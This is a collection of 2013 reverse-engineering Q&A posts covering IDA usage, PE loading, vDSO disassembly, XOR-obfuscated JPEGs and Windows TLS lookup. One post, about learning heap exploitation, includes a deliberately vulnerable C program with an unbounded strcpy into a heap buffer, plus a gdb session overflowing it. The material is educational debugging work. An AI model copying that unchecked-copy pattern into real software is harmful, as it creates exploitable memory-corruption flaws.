RIP register   instruction\n\n0x7fff751fed17 mov rbx, 0xffffffffffdff000\n0x7fff751fed1e lsl r11d, eax\n0x7fff751fed22 xor r15d, r15d\n0x7fff751fed25 mov r10d, r11d\n0x7fff751fed28 mov r9d, dword ptr [0xff5ff080]\n0x7fff751fed30 test r9b, 0x1\n0x7fff751fed34 jnz 0x7fff1fdb4fdf\n0x7fff751fed3a mov rax, qword ptr [0xff5ff0a8]\n0x7fff751fed42 mov r13d, dword ptr [0xff5ff088]\n0x7fff751fed4a mov qword ptr [rdi], rax\n0x7fff751fed4d mov edx, dword ptr [0xff5ff088]\n0x7fff751fed54 mov r14, qword ptr [0xff5ff0b0]\n
\n\n

To me, they are quite weird. First, some of them access directly to the memory, that means some addresses, e.g. 0xff5ff080, 0xff5ff0a8 have been hard-coded into the program. Second, I find them nowhere in the loaded libraries and wget itself. Third, even more weird, by passing the parameter (IARG_MEMORYREAD_EA) to get the virtual addresses of the accessed memories. I got the addresses, e.g. 0xffffffffff5ff080, 0xffffffffff5ff0a8, etc, and all of them do not belong to the program's memory space.

\n\n

Coud anyone give me some suggestions ?.

\n", "Title": "Weird instructions", "Tags": "|fuzzing|memory|instrumentation|", "Answer": "

This is code from the vDSO which is mapped by the kernel into every process, not from the wget binary. You could probably figure it out by inspecting the /proc/<pid>/maps file.

\n\n

Here's what I have in IDA for gettimeofday from it:

\n\n
.text:FFFFFFFFFF700D17   mov     rbx, 0FFFFFFFFFFDFF000h\n.text:FFFFFFFFFF700D1E   lsl     r11d, eax\n.text:FFFFFFFFFF700D22   xor     r15d, r15d\n.text:FFFFFFFFFF700D25   mov     r10d, r11d\n.text:FFFFFFFFFF700D28   mov     r9d, ds:0FFFFFFFFFF5FF080h\n.text:FFFFFFFFFF700D30   test    r9b, 1\n.text:FFFFFFFFFF700D34   jnz     loc_FFFFFFFFFF700FDF\n.text:FFFFFFFFFF700D3A   mov     rax, ds:0FFFFFFFFFF5FF0A8h\n.text:FFFFFFFFFF700D42   mov     r13d, ds:0FFFFFFFFFF5FF088h\n.text:FFFFFFFFFF700D4A   mov     [rdi], rax\n.text:FFFFFFFFFF700D4D   mov     edx, ds:0FFFFFFFFFF5FF088h\n.text:FFFFFFFFFF700D54   mov     r14, ds:0FFFFFFFFFF5FF0B0h\n
\n\n

So it seems PIN's disassembler chose to not sign-extend addresses (which are encoded in 4 bytes in the opcodes).

\n" }, { "Id": "3069", "CreationDate": "2013-11-21T13:39:24.443", "Body": "

I've been reversing a regularly updated application with various tools (mosty IDA, Olly) for a while now, and I always wondered how to document my findings. For example function names, static variables, relations, namespaces, fields, etc...maybe even changes trough version changes, but that's just an extra.

\n\n

The best thing I came up with is a local MediaWiki, where I create a new page/definition for every function, and stuff, but it's obviously pain in the ass, nearly impossible to maintain. There must be some industry standard right? I wonder if you guys know / use any tool like for this issue.

\n\n

Edit:\nHere is the structure I'm using now with in the Wiki :\n\"MediaWiki

\n\n

If you know another solution, I'm looking forward for your answer as well :)

\n", "Title": "Documenting reversed application", "Tags": "|ida|tools|history|", "Answer": "

The way this usually works in my experience is that if you have a documentation need outside of the IDB database it's generally because you're trying to share information with other reverse engineers. For this, you may want to take a look at collabREate or the IDA toolbag. The unfortunate truth is that a lot of these projects tend to slow down or die completely due to a lack of interest from the original authors.

\n\n

Now if your problem is completely centered around documentation, what I also find fairly common is to have header files with the function, class and structure definitions in them with doxygen- or JavaDoc-formatted comments in them. You then use doxygen to generate automatic documentation and class diagrams. This way the documentation becomes completely living, self-maintaining and easily navigated.

\n" }, { "Id": "3081", "CreationDate": "2013-11-24T01:32:01.807", "Body": "

As the title says im a bit lost on how to get something in the data section to be recognized as a struct or an array of structs or an array of strings etc.

\n\n

Cheers

\n", "Title": "In IDA how can I define a data address as a struct and array of datatype", "Tags": "|ida|struct|", "Answer": "

Struct: Alt+Q

\n\n

Array: Numeric keypad *

\n" }, { "Id": "3090", "CreationDate": "2013-11-25T21:20:26.137", "Body": "

I'ld like to know how to bulk rename functions in IDA, based on some condition.

\n\n

Example:\nRename all functions to Foo_XYZ where the function accesses a certain static variable, for example : dword_12345.

\n\n

This would help me a lot, because I know that address would be only accessed from functions that can be associated with some logic/functionality in the application.

\n", "Title": "Automatic function naming", "Tags": "|ida|static-analysis|memory|strings|functions|", "Answer": "

The IDAScope plugin has similar functionality to rename functions based on the Windows API functions they are calling. You can find a standalone script here that does that http://hooked-on-mnemonics.blogspot.fr/2012/06/automated-generic-function-naming-in.html it should give you an idea how to implement what you are looking for.

\n" }, { "Id": "3098", "CreationDate": "2013-11-28T10:55:23.727", "Body": "

Can I load dSYM symbols into Hopper? (I searched extensively in the menus etc. but couldn't find such an option)

\n\n

Context: I want to see how a program I created using Xcode was compiled into machine code using Hopper to view the machine code. My program is stripped during build but I do have its symbols in a .dSYM package.

\n", "Title": "Load dSYM symbols in Hopper", "Tags": "|osx|hopper|symbols|", "Answer": "

It's possible since Hopper v3, under File > Read Debug Symbols File...

\n\n

\"screenshot\"

\n" }, { "Id": "3100", "CreationDate": "2013-11-28T18:11:44.943", "Body": "

Few days after asking the question I realised I misinterpreted my original findings. It seems .rdata section on file is copied directly to memory, but then first 36 bytes are overwritten by loader with IAT RVA. The erroneous question about added 96 bytes is result of me not noticing that the sequence of bytes I was checking in my tests is repeated on the file.

\n\n

What I just said still might not be 100% accurate. The investigation will continue for the next few days.

\n\n

Original Question

\n\n

I'm trying to write a program to analyse Windows executables. I was assuming that sections in executable file are directly copied to memory. I have noticed strange behaviour in several programs.

\n\n

One example is crackme12.exe. When I check with debugger .rdata section loaded into memory, I can see that for some reason 96 bytes have been added at the beginning of a section loaded into memory that was not there in the executable file. I have spent 2 days trying to read Windows executable documentation, but I can't find explanation why is it happening.

\n\n

Additional Info

\n\n

I'm trying to load this file on Linux under Wine. \nDebugger I use is called OllyDbg. \nFile download link: http://www.reversing.be/easyfile/file.php?show=20080602192337264

\n\n

I'm trying to write the program in Common Lisp. This is the link to the test file: https://github.com/bigos/discompiler/blob/master/test/lisp-unit.lisp

\n\n

I have tried to load the same crackme under Windows and got another surprise.\nScreen-shot at \nhttps://github.com/bigos/discompiler/blob/fc3d8432f10c8bd5dfd14a8b5e2b113331db15df/my-reference/images/differences%20between%20lin%20and%20win.png shows Windows and Wine side by side.

\n\n

From address x402060, highlighted in the screen-shot in red shows data copied from section on the file. On loading operating system inserted 96 bytes. To my surprise Wine loader has inserted different data. When you compare differences between Wine and Windows you will see that first two lines differ. Can somebody enlighten me what is happening?

\n\n

Conclusion

\n\n

It turns out that Import Table RVA and IAT RVA were placed at addresses between x402000 and x402060. So it looks like loader copies section to memory after those tables.

\n\n

I have added some code to my little program and got following output:

\n\n

RVAs: (((320 \"Import Table RVA\" 8228) (324 \"Import Table Size\" 60)\n \"in memory from\" \"402024\" \"to\" \"402060\")\n ((328 \"Resource Table RVA\" 16384) (332 \"Resource Table Size\" 1792)\n \"in memory from\" \"404000\" \"to\" \"404700\")\n ((408 \"IAT RVA\" 8192) (412 \"IAT Size\" 36) \"in memory from\" \"402000\"\n \"to\" \"402024\"))

\n", "Title": "Loading Windows executable - unexpected data appended at beginning sections after loading in memory", "Tags": "|windows|static-analysis|pe|executable|", "Answer": "

This is the Import Address Table, which contains the virtual addresses for the imported functions.

\n\n

Since the DLLs have been loaded at different addresses (7bxxxxxx in one case, 76xxxxxx in the other), the Import Address Table is filled with different DWORD values.

\n" }, { "Id": "3101", "CreationDate": "2013-11-28T18:47:04.807", "Body": "

I am a man full of contradictions, I am using Unix and, yet, I want to analyze a Microsoft Windows DLL.

\n\n

Usually, when looking for symbols in a dynamic or static library in the ELF World, one can either use nm or readelf or even objdump. Here is an example with objdump:

\n\n
$ objdump -tT /usr/lib/libcdt.so\n\n/usr/lib/libcdt.so:     file format elf64-x86-64\n\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\n0000000000000cc8 l    d  .init  0000000000000000              .init\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 free\n0000000000000000  w   D  *UND*  0000000000000000              _ITM_deregisterTMCloneTable\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 memcmp\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 strcmp\n0000000000000000  w   D  *UND*  0000000000000000              __gmon_start__\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 malloc\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 realloc\n0000000000000000  w   D  *UND*  0000000000000000              _Jv_RegisterClasses\n0000000000000000  w   D  *UND*  0000000000000000              _ITM_registerTMCloneTable\n0000000000000000  w   DF *UND*  0000000000000000  GLIBC_2.2.5 __cxa_finalize\n0000000000000ec0 g    DF .text  0000000000000097  Base        dtclose\n0000000000204af8 g    DO .data  0000000000000008  Base        Dtorder\n0000000000204af0 g    DO .data  0000000000000008  Base        Dttree\n... cut ...\n
\n\n

So, we have all exported function name from reading this dynamic library. But, lets try it with a DLL:

\n\n
$ objdump -tT SE_U20i.dll \n\nSE_U20i.dll:     file format pei-i386\n\nobjdump: SE_U20i.dll: not a dynamic object\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\nno symbols\n
\n\n

As you see, objdump fail to extract the exported symbols from the DLL (and so do nm). But, if I can see a few thing more if I do:

\n\n
$ objdump -p SE_U20i.dll\n\nSE_U20i.dll:     file format pei-i386\n\nCharacteristics 0xa18e\n    executable\n    line numbers stripped\n    symbols stripped\n    little endian\n    32 bit words\n    DLL\n    big endian\n\n... clip ...\n\nThere is an export table in .edata at 0x658000\n\nThe Export Tables (interpreted .edata section contents)\n\nExport Flags                    0\nTime/Date stamp                 0\nMajor/Minor                     0/0\nName                            0025803c SE_U20i.dll\nOrdinal Base                    1\nNumber in:\n    Export Address Table            00000002\n    [Name Pointer/Ordinal] Table    00000002\nTable Addresses\n    Export Address Table            00258028\n    Name Pointer Table              00258030\n    Ordinal Table                   00258038\n\nExport Address Table -- Ordinal Base 1\n    [   0] +base[   1] 23467c Export RVA\n    [   1] +base[   2] 233254 Export RVA\n\n[Ordinal/Name Pointer] Table\n    [   0] DoResurrection\n    [   1] Initialize\n\n... clip ...\n
\n\n

So, the export table seems to be what we are looking for (not sure about it). But it is drown among a lot of other information (the option -p display really a LOT of lines).

\n\n

So, first, is the export table what I am looking for to know what are the functions and variables that exported by the DLL ?

\n\n

Second, why did objdump present differently the exported symbols in the case of ELF and PE ? (I guess there is some technical differences between exported symbols in ELF and PE and that confusing both would be extremely misleading, but I would like to know in what they differ).

\n", "Title": "Looking for exported symbols in a DLL with objdump?", "Tags": "|disassembly|dll|objdump|", "Answer": "

The surprising part for me is objdump can recognize anything in a PE file. According to Wikipedia,

\n\n
\n

.. PE is a modified version of the Unix COFF file format. PE/COFF is an alternative term in Windows development.

\n
\n\n

so apparently there is just enough overlap in the headers to make it work (at least partially). The basic design of one is clearly based on the other, but after that they evolved separately. Finding the exact differences at this point in time might well be a pure academical exercise.

\n\n

Yes: in a DLL, the export directory is what you are looking for. Here is a screen grab from Dependency Walker inspecting comctl32.dll (using VirtualBox 'cause I'm on a Mac):

\n\n

\"Dependency

\n\n

The field \"E^\" lists the exported function names and other interesting details.

\n\n

If you are in to Python: pefile has been mentioned as a library that can access PE parts, but then again PE has been so long around there is no end to good descriptions of all the gory low level details of all its headers and structures. Last time I felt inspecting some Windows program, I used these descriptions to write a full set of PE import/export C routines from scratch (.. again, I should add -- this way I can have return it the exact data I want in exactly the required format).

\n\n

IDA Pro seems to be the utility of choice for most disassembling jobs, and last time I used that it did a good job of loading both Import and Export directories, although it didn't provide a concise list of all functions.

\n" }, { "Id": "3105", "CreationDate": "2013-11-29T01:56:49.630", "Body": "

I have some obfuscated C# .NET code I want to analyze.

\n\n

\"obfuscated

\n\n

Is it possible to rename those obfuscated symbols? So I can more easily track them? Like IDA Pro can work with renaming functions and so forth.

\n", "Title": "Rename obfuscated names with .NET Reflector?", "Tags": "|tools|obfuscation|.net|c#|", "Answer": "

Some plugins like reflexil provide this functionality.

\n" }, { "Id": "3121", "CreationDate": "2013-12-02T16:35:14.583", "Body": "

My question is quite straight forward: is there a possibility to tell gdbserver to follow the child when forking like

\n\n
set follow-fork-mode child\n
\n", "Title": "Is there something like follow-fork-mode for gdbserver?", "Tags": "|gdb|", "Answer": "

Unfortunately, it seems to be not supported (a bug?). See this bug report in gdb bugzilla.

\n\n

I am not aware of any recent update concerning this bug...

\n" }, { "Id": "3127", "CreationDate": "2013-12-04T20:26:32.243", "Body": "

A few days ago, I was wondering how one could teach himself heap-based overflow exploitation.

\n\n

So I searched through documentation, subsequently practicing what I read in order to have a better insight of how the heap works under Linux.

\n\n

We are told that the malloc() / free() function works around Doug Lea's memory allocator but, in spite of the great explanation given by the link, I cannot figure things out as I debug my program.

\n\n

Given this example:

\n\n
#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint n = 5;\n\nint main(int argc, char** argv) {\n\n        char* p;\n        char* q;\n\n        p = malloc(1024);\n        q = malloc(1024);\n\n        printf(\"real size = %d\\n\",*(((int*)p)-1) & 0xFFFFFFF8);\n\n        if(argc >= 2) {\n                strcpy(p, argv[1]);\n        }\n\n        free(q);\n        printf(\"n = 0x%08X\\n\", n);\n        free(p);\n\n        return EXIT_SUCCESS;\n}\n
\n\n

I would like to dump this structure in memory:

\n\n
struct chunk {\n        int prev_size;\n        int size;\n        struct chunk *fd;\n        struct chunk *bk;\n};\n
\n\n

Here is my workflow:

\n\n
geo@lilith:~/c/vuln_malloc$ gcc -o vuln vuln.c -m32 -ggdb\ngeo@lilith:~/c/vuln_malloc$ gdb ./vuln\nGNU gdb (GDB) 7.4.1-debian\nCopyright (C) 2012 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.  Type \"show copying\"\nand \"show warranty\" for details.\nThis GDB was configured as \"x86_64-linux-gnu\".\nFor bug reporting instructions, please see:\n<http://www.gnu.org/software/gdb/bugs/>...\nReading symbols from /home/geo/c/vuln_malloc/vuln...done.\n(gdb) b 21\nBreakpoint 1 at 0x804850f: file vuln.c, line 21.\n(gdb) r `perl -e 'print \"A\" x 1024'`\nStarting program: /home/geo/c/vuln_malloc/vuln `perl -e 'print \"A\" x 1024'`\nreal size = 1032\n\nBreakpoint 1, main (argc=2, argv=0xffffd414) at vuln.c:21\n21              free(q);\n(gdb) x/10x q-4\n0x804a40c:      0x00000409      0x00000000      0x00000000      0x00000000\n0x804a41c:      0x00000000      0x00000000      0x00000000      0x00000000\n0x804a42c:      0x00000000      0x00000000\n(gdb)\n
\n\n

Here I can see the size-field's value, which is 0x409. I can easily guess that the real size of my chunk is 0x409 & 0xFFFFFF8 = 0x408 = 1032, as explained by the documentation (the three least significant actually define some flags). Then I run until the free() function is processed.

\n\n
(gdb) b 22\nBreakpoint 2 at 0x804851b: file vuln.c, line 22.\n(gdb) c\nContinuing.\n\nBreakpoint 2, main (argc=2, argv=0xffffd414) at vuln.c:22\n22              printf(\"n = 0x%08X\\n\", n);\n(gdb) x/10x q-4\n0x804a40c:      0x00020bf9      0x00000000      0x00000000      0x00000000\n0x804a41c:      0x00000000      0x00000000      0x00000000      0x00000000\n0x804a42c:      0x00000000      0x00000000\n
\n\n

Firstly I don't understand the new value - 0x20bf9 - at all, secondly I don't understand why there isn't any relevant values as regard the fd and bk pointers either.

\n\n

All of that stuff does not make much sense for me, that's why I was wondering wether you could give me some clues about all of this or not. Does the Doug Lea's implementation still exist in recent glibc versions, or...?

\n", "Title": "Understanding the most recent heap implementation under Linux", "Tags": "|linux|exploit|buffer-overflow|software-security|", "Answer": "

First of all, I have bad news for you ! Doug Lea's malloc is almost no more used in any C library implementation (even if understanding dlmalloc can help a lot to understand new ones).

\n\n

The new implementation that is most widely used is ptmalloc2 and the best way to learn about it is... to read the code... So, if you are using a Debian(-like) distribution, just like me, you just need to get the source code of the libc like this:

\n\n
$> apt-get source libc6\n
\n\n

Note that the glibc is no more and has been subsumed by the eglibc project. The Debian distribution switched to eglibc some time ago (see here and there and even on the glibc source package page). So, the implementation of malloc has changed considerably (and some security safeties have been added since dlmalloc).

\n\n

But, let see what does look like the malloc implementation:

\n\n
$> cd eglibc-2.17/malloc/\n$> less malloc.c\n\n...\n/*\n This is a version (aka ptmalloc2) of malloc/free/realloc written by\n Doug Lea and adapted to multiple threads/arenas by Wolfram Gloger.\n\n There have been substantial changesmade after the integration into\n glibc in all parts of the code.  Do not look for much commonality\n with the ptmalloc2 version.\n...\n
\n\n

As I said, the algorithm used here is ptmalloc2 (POSIX Threads Malloc), but with significant modifications. So, you'd better read the code to know better about it.

\n\n

But, to sum up a bit, the heap memory is managed through memory chunks which are prefixed by meta-data gathering these information (I am just quoting comments that are in the malloc.c source file, refer to the whole file for more):

\n\n
/*\n   malloc_chunk details:\n\n    (The following includes lightly edited explanations by Colin Plumb.)\n\n    Chunks of memory are maintained using a `boundary tag' method as\n    described in e.g., Knuth or Standish.  (See the paper by Paul\n    Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a\n    survey of such techniques.)  Sizes of free chunks are stored both\n    in the front of each chunk and at the end.  This makes\n    consolidating fragmented chunks into bigger chunks very fast. The\n    size fields also hold bits representing whether chunks are free or\n    in use.\n\n    An allocated chunk looks like this:\n\n\n    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Size of previous chunk, if allocated            | |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Size of chunk, in bytes                       |M|P|\n      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             User data starts here...                          .\n            .                                                               .\n            .             (malloc_usable_size() bytes)                      .\n            .                                                               |\nnextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Size of chunk                                     |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\n    Where \"chunk\" is the front of the chunk for the purpose of most of\n    the malloc code, but \"mem\" is the pointer that is returned to the\n    user.  \"Nextchunk\" is the beginning of the next contiguous chunk.\n\n    Chunks always begin on even word boundries, so the mem portion\n    (which is returned to the user) is also on an even word boundary, and\n    thus at least double-word aligned.\n\n    Free chunks are stored in circular doubly-linked lists, and look like this:\n\n    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Size of previous chunk                            |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    `head:' |             Size of chunk, in bytes                         |P|\n      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Forward pointer to next chunk in list             |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Back pointer to previous chunk in list            |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Unused space (may be 0 bytes long)                .\n            .                                                               .\n            .                                                               |\nnextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    `foot:' |             Size of chunk, in bytes                           |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    The P (PREV_INUSE) bit, stored in the unused low-order bit of the\n    chunk size (which is always a multiple of two words), is an in-use\n    bit for the *previous* chunk.  If that bit is *clear*, then the\n    word before the current chunk size contains the previous chunk\n    size, and can be used to find the front of the previous chunk.\n    The very first chunk allocated always has this bit set,\n    preventing access to non-existent (or non-owned) memory. If\n    prev_inuse is set for any given chunk, then you CANNOT determine\n    the size of the previous chunk, and might even get a memory\n    addressing fault when trying to do so.\n\n    Note that the `foot' of the current chunk is actually represented\n    as the prev_size of the NEXT chunk. This makes it easier to\n    deal with alignments etc but can be very confusing when trying\n    to extend or adapt this code.\n\n    The two exceptions to all this are\n\n     1. The special chunk `top' doesn't bother using the\n        trailing size field since there is no next contiguous chunk\n        that would have to index off it. After initialization, `top'\n        is forced to always exist.  If it would become less than\n        MINSIZE bytes long, it is replenished.\n\n     2. Chunks allocated via mmap, which have the second-lowest-order\n        bit M (IS_MMAPPED) set in their size fields.  Because they are\n        allocated one-by-one, each must contain its own trailing size field.\n*/\n
\n\n

You can also refer to 'Heap-Based Exploitation' which is a talk from Scott Hand about heap management and overflow exploitation.

\n\n

Still, you have a lot of work to do to understand everything, I would have like to have more time to explain. But, I hope it helped you a bit to find ways to go deeper (downloading the source is really the key here).

\n" }, { "Id": "3128", "CreationDate": "2013-12-05T05:46:41.430", "Body": "

This might be a bit of a narrow question but I think it is interesting. HP Photo Creations has made a thumbnail file that seems to contain an obfuscated JPEG inside it. I'm not sure why they would bother to obfuscate it but each byte seems to be modified based off its offset:

\n\n
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  FF D9 FD E3 04 15 4C 41 41 4F 0A 0A 0D 0D 0E 0E  \u00ff\u00d9\u00fd\u00e3..LAAO......\n00000010  10 10 12 13 EB F4 16 23 5D 61 73 7D 1C 1D 53 52  ....\u00eb\u00f4.#]as}..SR\n00000020  20 0B 22 23 24 2D 26 26 AF 40 2A 2F 2C 2D 2E 2E   .\"#$-&&\u00af@*/,-..\n00000030  30 31 32 29 34 35 36 37 38 38 9E 3A 3C 3E 3E 3F  012)456788\u017e:<>>?\n00000040  40 40 42 42 44 45 46 47 48 49 B5 A8 4C 77 03 2A  @@BBDEFGHI\u00b5\u00a8Lw.*\n00000050  24 30 52 53 19 18 56 7D 58 59 5A 53 5C 5E 9D 3A  $0RS..V}XYZS\\^.:\n
\n\n

Where I would expect the first line to be something closer to:

\n\n
00000000  FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01  \u00ff\u00d8\u00ff\u00e0..JFIF......\n
\n\n

Any ideas on what is going on here?

\n\n

Thanks in advance!

\n", "Title": "Obfuscated JPEG", "Tags": "|file-format|", "Answer": "

I thought about this after work and realised that it was just going to be the data XOR-ed with the low bits off the offset. Based off that I got out a valid JPEG:

\n\n
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01  \u00ff\u00d8\u00ff\u00e0..JFIF......\n00000010  00 01 00 00 FF E1 00 34 45 78 69 66 00 00 4D 4D  ....\u00ff\u00e1.4Exif..MM\n00000020  00 2A 00 00 00 08 00 01 87 69 00 04 00 00 00 01  .*......\u2021i......\n00000030  00 00 00 1A 00 00 00 00 00 01 A4 01 00 03 00 00  ..........\u00a4.....\n00000040  00 01 00 01 00 00 00 00 00 00 FF E3 00 3A 4D 65  ..........\u00ff\u00e3.:Me\n00000050  74 61 00 00 4D 4D 00 2A 00 00 00 08 00 03 C3 65  ta..MM.*......\u00c3e\n
\n" }, { "Id": "3137", "CreationDate": "2013-12-06T23:57:32.587", "Body": "

In w3wp.exe, STRU namespace is used. Where is the STRU namespace documented? With functions like STRU::QuerySizeCCH(), STRU::Resize()?

\n", "Title": "'STRU' namespace in the Windows Internals API?", "Tags": "|windows|", "Answer": "

Those functions are exported by IISUTIL.DLL. That is not a core Windows library, and thus wouldn't be documented in any \"Windows Internals\" references.

\n" }, { "Id": "3139", "CreationDate": "2013-12-07T00:14:12.523", "Body": "

The Thread Local Storage (TLS) contains static or global values for a thread. Those values can be very important to find reliable references to memory structures when the memory locations are not static.

\n\n

I would like to get the Thread Local Storage of another process.

\n\n

The TLS should be at [FS:0x2C] in the Thread Information Block (TIB). Though I quite don't understand how the FS register works. I guess I have to find the TIB Base address first? I think I can find it in the Thread Context I can get with WINAPI GetThreadContext, but I am a little bit overwhelmed.

\n", "Title": "How can I find the Thread Local Storage (TLS) of a Windows Process Thread?", "Tags": "|windows|winapi|thread|", "Answer": "

You need to use GetThreadSelectorEntry().

\n\n

Pseudocode:

\n\n
GetThreadContext(hThread, &context);\nGetThreadSelectorEntry(hThread, context.SegFs, &selectorEntry);\nReadProcessMemory(hProcess, (selectorEntry.BaseLow | (selectorEntry.HighWord.Bytes.BaseMid << 0x10) | (selectorEntry.HighWord.Bytes.BaseHi << 0x18)) + 0x2C, &pTLS, sizeof(pTLS), &numberOfBytesRead);\n
\n\n

You can see the function GetProcessEntryPointAddress() here for some sample code that does something similar.

\n" }, { "Id": "3148", "CreationDate": "2013-12-08T17:38:57.913", "Body": "

I read that question here (How do you set registers as structs within a function in IDA?) but this applies only to individual lines.

\n\n

Is it possible to set a register as a basepointer for a scope so that all usages of this register will be using the structure you assigned it to?

\n\n
mov     eax, [ebx+C]\nxor     [ebx+1C], eax\nmov     eax, [ebx+24]\nxor     [ebx+68], eax\nmov     eax, [ebx+C]\nxor     [ebx+30], eax\nmov     eax, [ebx+24]\nxor     [ebx+48], eax\n...\n
\n\n

Or do you have to apply T on each occurence individually?

\n", "Title": "IDA: setting a register as a basepointer to struct", "Tags": "|ida|struct|", "Answer": "

You need to select the range of instructions you're interested in, then use the same T shortcut as you would for a single occurrence. The dialog shown will allow you to select the register, the offset delta to add to the displacement, and the struct you want to apply.

\n\n

The dialog does some preparation work/struct analysis before showing up. If you have a large selection or a lot of structures it can take a while to appear, you just need to be patient. When you change the register/delta inside the dialog, the analysis needs to be updated, which again takes time. Placing the selection cursor over an occurrence of the register you want to change before calling up the dialog is a good idea.

\n" }, { "Id": "3155", "CreationDate": "2013-12-10T11:27:51.390", "Body": "\n\n

the .toc is a table of contents files that always starts with the header 1rrs.\nIt also contains directory and file paths at offsets that will relate to the data file.

\n\n

Where should I start trying to use the .toc to extract from the .data file?

\n", "Title": "Extracting files from .data and .toc files", "Tags": "|file-format|", "Answer": "

Full Disclosure is always appreciated. This seems to be a (\"the\"?) data file for FASA Studio's \"Shadowrun\". Anyway, the data file contains enough recognizable items to get a good start (PNGs, Unicode text). Data seems to be aligned on 16 bytes, padded with what seems to be random trash.

\n\n

PNG images are a good start; you can extract them 'manually' (I used 0xED) and see if they are well-formed. The few I tried were, and the all-but-one last data block should be a PNG image, according to the toc file. I located it at 0x82A72D0, with a length of 0x2E231 bytes.

\n\n

\"the

\n\n

Then I checked the data around the last PNG file name in core.toc for these bytes. Bingo - not a huge challenge.

\n\n

The initial part of the toc file is unknown but may be a fast look-up table. I didn't cross-reference this any further with what follows. After that, the following data can be found per each file:

\n\n
4 bytes   length (little endian)\n4 bytes   offset\n8 bytes   unknown (perhaps checksum, perhaps file data/time, who knows?)\n3 bytes   name length -- possibly only the first 2 though, 3 bytes is rare #\nx bytes   name\n
\n\n

Right after the block of file names more stuff appears, I couldn't think of a use for it. You could extract all file names, count them, and see if this is relevant. It seems it isn't as the file name block contains everything you were looking for.

\n\n

Edit:

\n\n

# Ah-- for the first file, this name length is 0x0E 0x00 0x01. Seems the third byte indicates something else, then. I found 2 so far with a 0x01, both are 'pathless' files.

\n" }, { "Id": "3166", "CreationDate": "2013-12-12T04:51:46.793", "Body": "

The situation is the following:

\n\n

I'm reversing an application, In which I found a lot of functions that belongs to the OpenSSL library. Since I have the source code for this module, I was wondering if it's possible to somehow \"extract\" the variable names, structures, function names from the source code, and sync/map it to IDA?

\n", "Title": "Mapping an external module's source code to assembly - extracting information from source code", "Tags": "|disassembly|ida|assembly|functions|reassembly|", "Answer": "
    \n
  1. Build the module with debug symbols
    2. \n
  2. Load the module you built into IDA Pro and import the debug symbols
    3. \n
  3. Use BinDiff to port function names, etc. from the IDB of the module you built to the IDB of your target module
    4. \n
\n" }, { "Id": "3167", "CreationDate": "2013-12-12T05:16:08.567", "Body": "

Can I group functions based on their place in the binary? Can I assume functions next to each othe belong to the same logical group, or at least they have similar functionality? I suspect that the ordering/layout of the functions are decided compile time, however I still don't know what exactly controls this.

\n\n

Anyway, here is an example for better understanding my question. \nLet's say I have 3 functions that IDA named for me :

\n\n
sub_00543210\nsub_00543211\nsub_00543212\n
\n\n

Later during the analysis I find out the name of two functions.

\n\n
foo_bar1\nsub_00543211\nfoo_bar3\n
\n\n

At this point I would say that the name of the 2nd function, surrounded by found function names is definitely has something to do with \"foo\" so I'll name it \"foo_bar2\". (Which later it turned out to be true.)

\n\n

Is this a valid assumption, or was this a special occasion?

\n", "Title": "Grouping functions based on their placement/order in the binary", "Tags": "|ida|compilers|memory|functions|", "Answer": "

Normally the linker will leave the functions in their original order.

\n\n

However, techniques like Working-Set Tuning (see also Profile-Guided Optimization) can profile the program to see which parts are called the most often, then re-link it with that information in mind. This will clump the most frequently used code together (not only reordering functions, but also possibly splitting them into separate chunks) for memory paging purposes, and of course throw the original function ordering out the window.

\n" }, { "Id": "3178", "CreationDate": "2013-12-13T08:35:12.023", "Body": "

What impact does noninvasive user mode debugging with WinDbg have on the process?\nWill it be detectable by the process?

\n\n

Of course I could imagine that if the threads are suspended, differences in execution time of a function could be detected by comparing to \"usual\" values.

\n\n

Microsoft itself does not indicate more impact than suspending threads. Is that true?

